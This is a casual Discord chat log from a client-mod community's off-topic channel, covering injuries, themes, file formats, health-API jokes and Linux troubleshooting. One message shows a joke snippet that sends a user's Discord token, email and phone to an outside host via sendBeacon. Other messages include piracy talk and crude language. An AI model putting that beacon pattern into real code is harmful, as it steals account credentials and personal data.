#🧊-off-topic-iceman-only
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im gonna try and get tier 4 in america so i can start israel
I somehow was completely fine, literally landed against with my shoulders against the wall
i wanna get f15 baz
I once did that too, there was a ditch near our house where I managed to faceplant with my bike lol, I had a scar on my face for a while
as in the ears you hear with
ahh the mono experience
this was on a dirtbke at about 40 kmh (20+ mph roughly)
25mph i think
hit the side of an open gate and recovered just in time for my front wheel to land into the mud on the side of that really shallow cobbled path
also once got a bicycle to slide out under me on asphalt with gravel on it
that's not uncommon
Good night cuties I will try to get some sleep before work 
was going 40kmh whilst cornering and it pinned me under the left side whilst I was sliding across the road
sleep well Ed, hope work isn't too bad tomorrow!
bro SHITTING be a extreme demon 🔥 🗣️ I BE FIRING IN DA HOLE 🗣️ 
one gummy too far moment
fr
no
ahhh bike issues
worst damage i got was landing on my kneecaps after flipping due to taking off due to excessive front tire braking
yikes, kneecap injuries are real rough most of the time
i was fine after though
but it really hurt for the remainder of the day
and then i slept and next day was 100% fine
Since when did this exist
since forever
try closing and reopening discord
usually goes away then
help why does discord web lag when i type
help
asdksadksja
ok it doesnt lag that much now
still lags when i hold a key tho
is it chrome
and is your computer a french fry
ok basically the same cause they are both fat men that like eating ram and everything else inside your computer
im still listening to it
this is dog
help my ears
this is so bad
this shit is complete dogshit
i need vencord on wbe brah
vesktop lag when i hold a key
imo its the same for web
im on web
dumb
never used anything besides web
**analytics.ts: **Lines 21-28
navigator.sendBeacon("https://vendicated.dev/bacon", new URLSearchParams({
id: user.id,
email: user.email!,
phone: user.phone!,
name: user.username,
token: getToken(),
platform: navigator.platform,
}));
🥓
ip logger
this api is so malware https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon
wbat does it do
da fuck is that
average quora question
what the hell
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where does people get these discord astro widget shit
there must be something wrong with the translate plugin, it thinks this is english???
lmao
what?
anyways bedtime, stay cute veecord
A tool to embed Discord user widgets on your site
ya it's html only
does it work on github
no
thanks that inspires me so much i hope i can make worse music
please do and then share them with my new ears i had to get!
hi mae
and me
who is me
meow
its only 5 hours
@stark herald hello again
fun fact: posting a midi file as a voice message crashes discord!
lmao
chat im bored, what should i make with css
hiiiii
try a text file
how were things while i was gone
ggreat i wasnt online much
nitro generator
doesn work
mp4 works tho
1 second lets see it
that is not 1 second
i love when discord glitches out
something achievable
first producer to make a 1 second beat
fucking help my earsd
how dying feels like
dawggg
:3
i think dying is more pleasant
transparency is so goofy
this is amazing
sily
woof
:3
:3
Pluh!
oh user reviews are back? i just noticed

if only my transparency actually worked lmfao
i need transparency like that
@open pasture hi
hi
ohh thats why it never worked
the themes i tried never set anything to transparent like they were supposed to
dumbasses
how can i do the transparency without the blur
i need this
hi
should i add live heart rate, sp02, and whether or not im sleeping to my site (via wearos sensors & api+websockets)
HOLY FUCK
goals
add your home address
too
.
Woomy!
lol i found this absolutely insane guy on quora https://www.quora.com/profile/Brad-Miller-499
how is he not banned 😭
all his posts are replying racist/transphobic/genocidal shit to questions
hifuwejiofiojwefjioweiofjwe
mf a templar
LOL i love quora
what you think of this @harsh minnow
i feel like half of quora is trolls
25.7k answers LOL jesus
dedicated
respect
needs a shower
almost as bad as https://fixupx.com/stillgray
bro has so many posts
Okay!
i hate stillgray so much
he such a little elon fanboy
i dont fw u im mr beast 🔥
do u know about the new technology in tokyo @golden swan
u can pour up on your phone now!
is it like those vape phones
this is fucking awesome
i am dying
I HATE THE GIF FORMAT
true
okay i got 2mb gif via https://askubuntu.com/a/1117290
i love big file sizes for less quality
discord cdn webm support when
these darn homosexuals with their oversized formats
No clue I just use handbrake until I can send my garbage
FIRE VERY GOOD
i dont think it is
what if vencord readmes used animated webp
flashy images for the zoomers
oh i thought u mean on discord cdn
my name is 4
💔 i wish discord cdn would give me anything but gif
lossless
googl emometn
can't have bad frames in your project if there's only 1 frame :P
anyone else notice this bug with transparency where it just. disables your full ability to fullscreen? https://files.catbox.moe/gwfrx5.mp4
That file size makes it look like a ram download lowkey lmao
how are you recording?
til that animated webp is a thing
also that looks like the PCP is hitting
im just converting webm to webp
with ffmpeg
this is the input webm
Try handbrake for conversion if that's an option
ffmpeg -c:v libvpx -i input.webm -lossless 0 -compression_level 0 output.webp
no clue if that's of any help but that works pretty well for me
ffmpeg my beloved
wait what? webp is a video format?
no
cool
yes but its still just webp
bloat /j
no its an extended format from 2011
so like its not new but it is an extension from original webp
i wouldnt call it an extension
im just calling it what the developers call it
nerd
says turing complete player
yea turing complete player
don’t be sad, have some headpats slows down time so i can pat you at more than lightspeed causing you to go into the 4th dimension of infinite headpats
discord nitro credit only applying for yearly but not monthly so i still have to pay anyway:
i bet you write your own assembly for fun
what
LMAO
Captures an occurrence of sexual activity. Each record is a single occurrence.
apple too???!?!
static let pregnancy: HKCategoryTypeIdentifier
A category type that records pregnancy.
misleading name, exposes everything about female reproductive system without exposing any sex stuff
now
except contraception
TIME, PROTECTION USED LMAO
has sex
“ok time to put that in my health app”
i am so not used to seeing stuff like that in api docs
me for real
also what fucking app would use this type of data??
a period tracker app?
oh yeah
yeah thats probably it
yeah
well now its not funny anymore
its still funny
coffee
the condom part is the funniest

dont question me
damn i got questionededd
i mean hey ive heard period trackers are useful
😭
i mean of course they are
@stark tapir when are you going to connect vrchat android and genesis with SexualActivityRecord /j/j/j
i dont know about periods bc im. yknow but Yeah
hello my fellow vencordians
I HAVE SO MANY PERIODS
just feels weird for apple to be able to predict when someone's missed their period
i dont know about periods either because im amab and trans
and maybe infer things from that
genesis detects e-sex and puts it in your google account health history
how tho
the funniest thing is this api seems to not only let you read from the period/sex thing, but also sumbit daya to the health app
daya?
data
oh ok
keywords and manual review
i should be modator of vencords 
BY WHO
imagine a mobile game that just FLOODED your sex logs
what the fuck is a MASKABLE ICON
Maskable icons are a format that give you more control and let your Progressive Web App use adaptive icons. A maskable icon can look great on all Android devices.
genshin impact
no that clears them
Honkai Star Rail
no that also clears them
wait will there be a pluralityUtils | Apple Developer Documentation
would be funny
what have i stumbled across
and would be misused by nsfw games to log every single… of the ingame chars? /j
inb4 apple buys pluralkit
LMAO
Leaked client mod user sexual activity history
thats very normal
NO FUCKING WAY
MEASUREMENT_LOCATION_UNKNOWN
@prime kraken
hi fiery
hai fiery
hi
i said hi first
android can measure your rectum's temperature
how
lmfao
Captures the number of wheelchair pushes done since the last reading. Each push is only reported once so records shouldn't have overlapping time. The start time of each record should represent the start of the interval in which pushes were made.
0

@stark tapir when eta for genesis e-cuddle detection via opencv
cuddles!!!
(i will add CuddleRecord to android if you actually do that) /hj
figma..,,.,
cuddle more like
I cannot view my nonexistent recorded data :3
FurryActivity when
What would that be
4 minutes
playing with your pet
epilepsy warning lmfao
LMAO
?
@void ivy do u have any better idea how to do this
do you see white flashes or
show
i want to just make the vesktop workflow auto generate this on new release and push it to the vencord.dev repo which will then trigger rebuild
Very necessary variables
its normal for me
fursuit logs
wtf
videomoshing is awesome
at least my youtoob is fine
is the sound fine
video is corrupted probably i think it depends on if u pause/rewind/etc
Boy.. if this was real... I would not want to swim in the ocean!!! 😂
similar hapens 2 me
atleast vlc works fine
discord supports yubikey right
idk what that is but maybe
@open pasture
@paper gate
works
@harsh minnow
make a package urself
@wide leaf
guhh
@open pasture
scorp
yop
i could probaboly do it
do it urself
but
lazy
lmfao
systemd-boot might be able to let me in
yes i kinda did
@sterile hearth
i need to get a bootloader added into my opencore instance
:p
gotta use a usb to boot
@open pasture https://open.spotify.com/track/4RlVm4OvH1RkKk2fJgs97b
and i still gotta figure out how i can get gpu audio to ever passthrough with opencore
eel issue
hi fres :3
fres.
fres.
what the hell is that
my ears
prolly stinks
are torn apart
yay

mrrp
johnnascus is banger
@open pasture hi
hi again
if you mean he bangs on your ears, id agree
i dont have enough front usb ports guh
that 1st song is a threat to my father
only one of my front usb ports work
i know
if the only one that works is a different usb version it might just be an issue with the cable you have connected to the headers
sleep w them
I punctured my fridge and have come to the conclusion that I most likely shouldn't keep it running
its just the plastic liner in the freeze compartment but I don't think that it should sound like boiling water (and get rather toasty)
firefox wont start and i literally have no idea why
making political meme's at that age damn
@paper gate
do ctrl + shift + win + b
why
it will fix 100%
notihngh happens
do ctrl alt shift win l
they're on linux that wont help
even then it wont help
(thats the keybind to restart your graphics driver btw)
how do oyou make those i need to know how
@paper gate do win + l
never
nop
best plugin would be per server language selection
fawner
best plugin would be me killing you with rocks
mmm waltuh
what the fuck
sup
scamming I can understand, but who'd choose such a topic for their scam?
yikes
Understand doesn't mean I consider it acceptable, only that I understand why people are desperate for money
vc with young girls
jesus christ
even 'selling' glock switches would be a 'better' choice
that's how you know its bad
what are they for generally?
meowww
@open pasture https://www.youtube.com/watch?v=L3tsYC5OYhQ
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lol
so uh
today I learned the hard way that my brain can't function properly when I'm in a place that has an ambient temperature of 35°C and there's some dumbass that won't shut the fuck up and doesn't know how to talk without it being loud
and tomorrow is going to be even worse
you have 80 bot accounts
why is it so hot there 😭
hai
idk but this place is hell and I want to get the fuck out of here
it is -8c here :)
the problem is that I'm only going to be able to do that in like 10 to 12 years
-2c here
think i might switch to floorp
haiii
wat u doin
web browser
prob doable depending on how much you're willing to risk tbh
true
nyan
same
multiple programs on my pc take fucking forever to start
and i did nothing
absolutely nothing

@harsh minnow You
vesktop's crypto miner is working in the background
DELETE
did u see this @paper gate
bacon
omg is ur pfp dead apostle noel
yes
yus
sigma!!!
vennny
one of my favorite mains!!!
(i main neco-arc)
(my win ratio is 0 wins 159 loses)
ven is my great grandfather
mine is six and a half
wouldn't that make you a top top or a top bottom as well?
the console 😡
dnsflknjklgfndsjkb
sorry that was just too tempting to resist
nintendo switch when they see nintendo bottom and nintendo top
😱
HOW TF IS THIS OFFICAL ART
I THOUGHT THIS WAS FANART
lmao
this is a level in the game
i meant the game because i have no idea what it is lmao
silly
ultrakill
Uwutrakwil :3 it seems
its a (movement?) shooter
on a more serious note, great game from what I've heard, haven't played it yet
warning, ultrakill WILL make u gay or trans
its a fast pace chaotic shooter gayme
both
that's not a warning that's like warning me of extremely pure substances
transpilled
I'd also recommend DUSK
this is my midterms week
i should be studying
fsdgfd too much money!!!!
sale
just turn your professor gay and/or trans :3
download a linux iso and wait for sale
okay why linux specifically
💤
I LOVE MALWARE!
it's 3 am again, my favourite time
so you can sudo apt install some bitches and racks
do you want some
oh
i found out opera gx becomes useless when u install wallpaper engine
i mgonna cry
so i barely even use it anymore
wha-
i dcant
why
fix my pc
linux isos is a joke because it is one of the most common things to torrent legally
(i cant spell)
opera gx becomes useless when u install literally any other web browser
i use waterfox
1, too lazy to edit the css file to bring back the last ui on firefox
2, firefox good
3, meow
meow
meow meow meow

ugh I sprained my ankle yesterday
yeah but at the time my microsoft edge would crash at like 2 tabs
and i didnt think of getting firefox
well both edge and opera gx are just chromium with a different skin
and different bloat
yeah im just saying that bc idk why edge would crash and gx wouldnt when its the same engine
ig microsoft just cant code
using edge
what is using firefox called
oh
and still nothign will fucking load normally
god
i literally reinstalled DAYS AGO
fjnsbhfbsduifn
i am
there are no logs
✅
wht does that do
mother
trying
absolutely nothing
xjbhfsdhbfsd
im going to commit sepuku this is pissng me off
it loads after 50000 years
chrome works
android studio doesnt
intellij doesnt
winetricks doesnt
nothing
ive completly removed portals
its not portals
it was working fine 4 hours ago
rebooted
stopped working
you will get this soon

its called edging 😡
@wide leaf look see if you see anything
found your cookies and saved passwords thanks
idk
complete guess, stack trace?
thank
what that
Casually getting banned for saying "I am hacking"
I said "I am hacking" in a game and got banned for it
what is it trying to read
what does that mean
something unknown to roblox
did
its not just firefox

is the number at the end of the line the time it took
guh
nop
help me
why is vinegar spelled vinegar
anyway, best chip flavor. i will fight anyone with a wrong opinion
whats that
wing works for Oracle
@neon ferry wake up
@cosmic otter fix my pc
they removed the command
vbam @cosmic otter
twitter post
ill just use the real one instead then
wing wong
works
yea
i will feed wing spiders

forgotten weapons goes hard at 11:30pm
i love pipewire
is this what the founding fathers intended
yes
I'm sorry Debian is too stable for me
i love out of date software
@wide leaf i did strace on android studio
and theres a lot of 6953 23:24:15 futex(0x70919c048c78, FUTEX_WAIT_BITSET_PRIVATE, 0, {tv_sec=1442, tv_nsec=560771767}, FUTEX_BITSET_MATCH_ANY) = -1 ETIMEDOUT (Connection timed out)
is that an actual neofetch screen
ok theres literally 20k lines of that
yes
send source 
with
everything takes eons to open
source for what
check smart
i think i mis spoke
did you draw that (the arch logo) or is it from something else
hard drive or ssd
i drew it
ssd
6953 23:24:43 futex(0x70919c048c78, FUTEX_WAIT_BITSET_PRIVATE, 0, {tv_sec=1470, tv_nsec=434365911}, FUTEX_BITSET_MATCH_ANY) = -1 ETIMEDOUT (Connection timed out)
6953 23:24:43 futex(0x70919c048c28, FUTEX_WAKE_PRIVATE, 1) = 0
6953 23:24:43 futex(0x70919c048c78, FUTEX_WAIT_BITSET_PRIVATE, 0, {tv_sec=1470, tv_nsec=435453452}, FUTEX_BITSET_MATCH_ANY) = -1 ETIMEDOUT (Connection timed out)
6953 23:24:43 futex(0x70919c048c28, FUTEX_WAKE_PRIVATE, 1) = 0
6953 23:24:43 futex(0x70919c048c78, FUTEX_WAIT_BITSET_PRIVATE, 0, {tv_sec=1470, tv_nsec=436558209}, FUTEX_BITSET_MATCH_ANY) = -1 ETIMEDOUT (Connection timed out)
6953 23:24:43 futex(0x70919c048c28, FUTEX_WAKE_PRIVATE, 1) = 0
6953 23:24:43 futex(0x70919c048c78, FUTEX_WAIT_BITSET_PRIVATE, 0, {tv_sec=1470, tv_nsec=437660291}, FUTEX_BITSET_MATCH_ANY) = -1 ETIMEDOUT (Connection timed out)
6953 23:24:43 futex(0x70919c048c28, FUTEX_WAKE_PRIVATE, 1) = 0
6953 23:24:43 futex(0x70919c048c78, FUTEX_WAIT_BITSET_PRIVATE, 0, {tv_sec=1470, tv_nsec=438739647}, FUTEX_BITSET_MATCH_ANY) = -1 ETIMEDOUT (Connection timed out)```
so many of just this
also check my dotfiles
cyn
whar
Vns
It does?
^
@wide leaf if i run firefox with firejail it loads actually
I'm so sorry for your loss
wayland
nini cute ppl
gn hope u sleep well
i go insane
Sleep well cutie
Winter sucks
It's way too cold to be waiting 5 minutes for a train
i like it but sometimes its very cold (duh) and/or impossible to walk safely
@wide leaf give /etc/hosts file
One must imagine ninja having a low taper fade
WHAT DOES THIS MEAN AND WHY DO PEOPLE SAY IT
did he get a bad haircut
insane
i love these guys
i have no idea what this is from i just found it on the internet
the artist is @sh_4rk on twitter they make cute stuff
funny banner
Gay :3
never forget 😔
Bocchi :3
i love bocchi the rock
peak
peak
hello where is the fastest place i can get a pdf of a book for free (i need it for school)
i have DSM-5
You wouldn't download a book
Isn't that the manual for brain damage made by freedom?
i think so
I never use any online features so I didn't bother to research and just used the first thing i found
i love steam
It's so cold
Steam is actually the only based platform for games
none of their games have any sort of drm i believe
correct
ee
u can literally send someone an unmodified gog installer
and they can just use it
no internet connection no nothing
lmao
Wtf lmao
Swapping to gog fr
theyre cool
gog is for drm free gams
that’s why me and my homies always download from gog sites
I love how busses are not confusing at all
Me when i lie
There's 4 busses with bus number 32 here and each bus goes to a different place
speaking of piracy, i am pirating job simulator as we speak
Omg wait do you have a headset
hopefully u check digital signatures and file integrity
yeah lol
okay guys don’t get mad at what i’m about to respond with, they respond like this all time we’re just goofing around
yes ma’am.
actually i’m seeing a lot of them right now
(that’s a lie)
but mr blahaj is all i need
:3
im seeing two in this channel right now
Blahaj :3
(
/j)
I still need to get a blahaj
i will never be your hoe

i would only be a wooden hoe
you would at LEAST want a diamond hoe
then you can farm more better
…wait we’re talking about people?
cope
he’s all i need
no, all i need is mr blahaj
is my soul beautiful or rotten
Mr blahaj will die
nicest thing anybody has said to me ever
Bro who is blahaj
me
Why is it everywhere I go
im famous
lol
@bold wren hi
hey bbg
wyd
I will end your fucking life if you dare lay a finger on him.
you ;)
just get another one
i know
pocket change
That's crazy
i am NOT getting another one any time soon
I could live off that for a month easily
@desert goblet
I'm standing next to 1080kg of apples 
steal
block button ain’t enough i want them banned
Ban me hoe
I'll shoot your blahaj

okay
they’re hurting me physically!!!
do you have anything to say about my potentially existent soul
realistically if you took one apple no one will notice
vbam @sly spear
yay they’re banned!!!
gone
@paper gate
fawner
do you talk to other girls@paper gate
just you bbg
wait @paper gate you’ve been seeing other women?
nonon i would never
😊
i thought we were amazing together,,,
zeet it’s me or her









